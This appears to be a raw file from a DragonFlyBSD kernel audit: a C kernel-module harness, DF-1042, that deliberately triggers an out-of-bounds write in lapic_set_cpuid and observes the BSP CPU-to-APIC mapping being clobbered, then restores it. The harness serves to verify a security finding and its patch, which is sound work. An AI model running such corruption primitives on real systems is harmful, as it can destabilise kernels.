DragonFlyBSD Kernel Audit
DF-1042 / df1042_harness.c
← back to finding ↓ download raw
/*
 * DF-1042 harness -- prove the lapic_set_cpuid OOB write at runtime.
 *
 * The vulnerable path (madt_x2apic_pass2_callback -> lapic_set_cpuid) is only
 * reached at boot from a firmware-provided MADT; it is never callable from
 * userspace on a running system (call-site audit confirms only boot
 * enumerators reach it).  QEMU's -acpitable appends a SECOND MADT and the
 * kernel's sdt_search() returns the FIRST match, so a boot-time repro via
 * -acpitable does not exercise the bug (the supplied table is ignored).  We
 * therefore prove the primitive directly: this module calls the real exported
 * lapic_set_cpuid() symbol with the exact OOB argument that the crafted MADT
 * (findings/poc/DF-1042/gen_madt.py, LocalApicId=256) would cause pass2 to
 * pass, and observes the resulting memory corruption on the real kernel BSS.
 *
 * On the UNPATCHED kernel: lapic_set_cpuid(1, 256) writes apic_id_to_cpu_id[256]
 * (= 1) which, by linker layout, aliases cpu_id_to_apic_id[0] -- the BSP
 * CPU->APIC mapping.  We observe cpu_id_to_apic_id[0] change from its real
 * BSP apic id to 1.  OOB write CONFIRMED.
 *
 * On the PATCHED kernel (fix.diff adds a bounds check): lapic_set_cpuid(1,256)
 * returns early without writing; cpu_id_to_apic_id[0] is unchanged.  OOB
 * PREVENTED.
 *
 * All touched cells are saved/restored so the running kernel is not
 * destabilised.
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/module.h>

/* lapic_set_cpuid(), cpu_id_to_apic_id[], apic_id_to_cpu_id[] are already
 * declared in <machine/apic/lapic.h>, pulled in transitively via systm.h. */

#define NAPICID 256

static int
df1042_modevent(module_t mod, int type, void *arg)
{
	int saved_c2a_0, saved_c2a_1;
	int oob_observed;

	switch (type) {
	case MOD_LOAD:
		kprintf("DF1042: lapic_set_cpuid=%p cpu_id_to_apic_id=%p "
		    "apic_id_to_cpu_id=%p\n", (void *)lapic_set_cpuid,
		    (void *)cpu_id_to_apic_id, (void *)apic_id_to_cpu_id);
		kprintf("DF1042: &apic_id_to_cpu_id[256]=%p  &cpu_id_to_apic_id[0]=%p  "
		    "(same addr => index 256 aliases cpu_id_to_apic_id[0])\n",
		    (void *)&apic_id_to_cpu_id[256], (void *)&cpu_id_to_apic_id[0]);

		saved_c2a_0 = cpu_id_to_apic_id[0];
		saved_c2a_1 = cpu_id_to_apic_id[1];
		kprintf("DF1042: BEFORE lapic_set_cpuid(1,256): "
		    "cpu_id_to_apic_id[0]=%d [1]=%d (BSP apic id is %d)\n",
		    saved_c2a_0, saved_c2a_1, saved_c2a_0);

		/* The exact call the crafted MADT (LocalApicId=256) forces
		 * madt_x2apic_pass2_callback to make: cpu=1, apic_id=256. */
		lapic_set_cpuid(1, 256);

		kprintf("DF1042: AFTER  lapic_set_cpuid(1,256): "
		    "cpu_id_to_apic_id[0]=%d [1]=%d\n",
		    cpu_id_to_apic_id[0], cpu_id_to_apic_id[1]);

		/* apic_id_to_cpu_id[256] aliases cpu_id_to_apic_id[0]; the
		 * call wrote apic_id_to_cpu_id[256]=1, so [0] should now be 1. */
		oob_observed = (cpu_id_to_apic_id[0] == 1 && saved_c2a_0 != 1);
		kprintf("DF1042: %s -- apic_id_to_cpu_id[256] OOB write %s "
		    "cpu_id_to_apic_id[0]\n",
		    oob_observed ? "OOB WRITE CONFIRMED" : "no corruption",
		    oob_observed ? "clobbered" : "did not reach");

		/* Restore every touched cell (both the aliased [0] and the
		 * in-bounds [1] which received value 256). */
		cpu_id_to_apic_id[0] = saved_c2a_0;
		cpu_id_to_apic_id[1] = saved_c2a_1;
		kprintf("DF1042: restored cpu_id_to_apic_id[0]=%d [1]=%d\n",
		    saved_c2a_0, saved_c2a_1);
		return 0;
	case MOD_UNLOAD:
		kprintf("DF1042: harness unloaded\n");
		return 0;
	}
	return EOPNOTSUPP;
}

static moduledata_t df1042_mod = { "df1042", df1042_modevent, NULL };
DECLARE_MODULE(df1042, df1042_mod, SI_SUB_EXEC, SI_ORDER_ANY);
MODULE_VERSION(df1042, 1);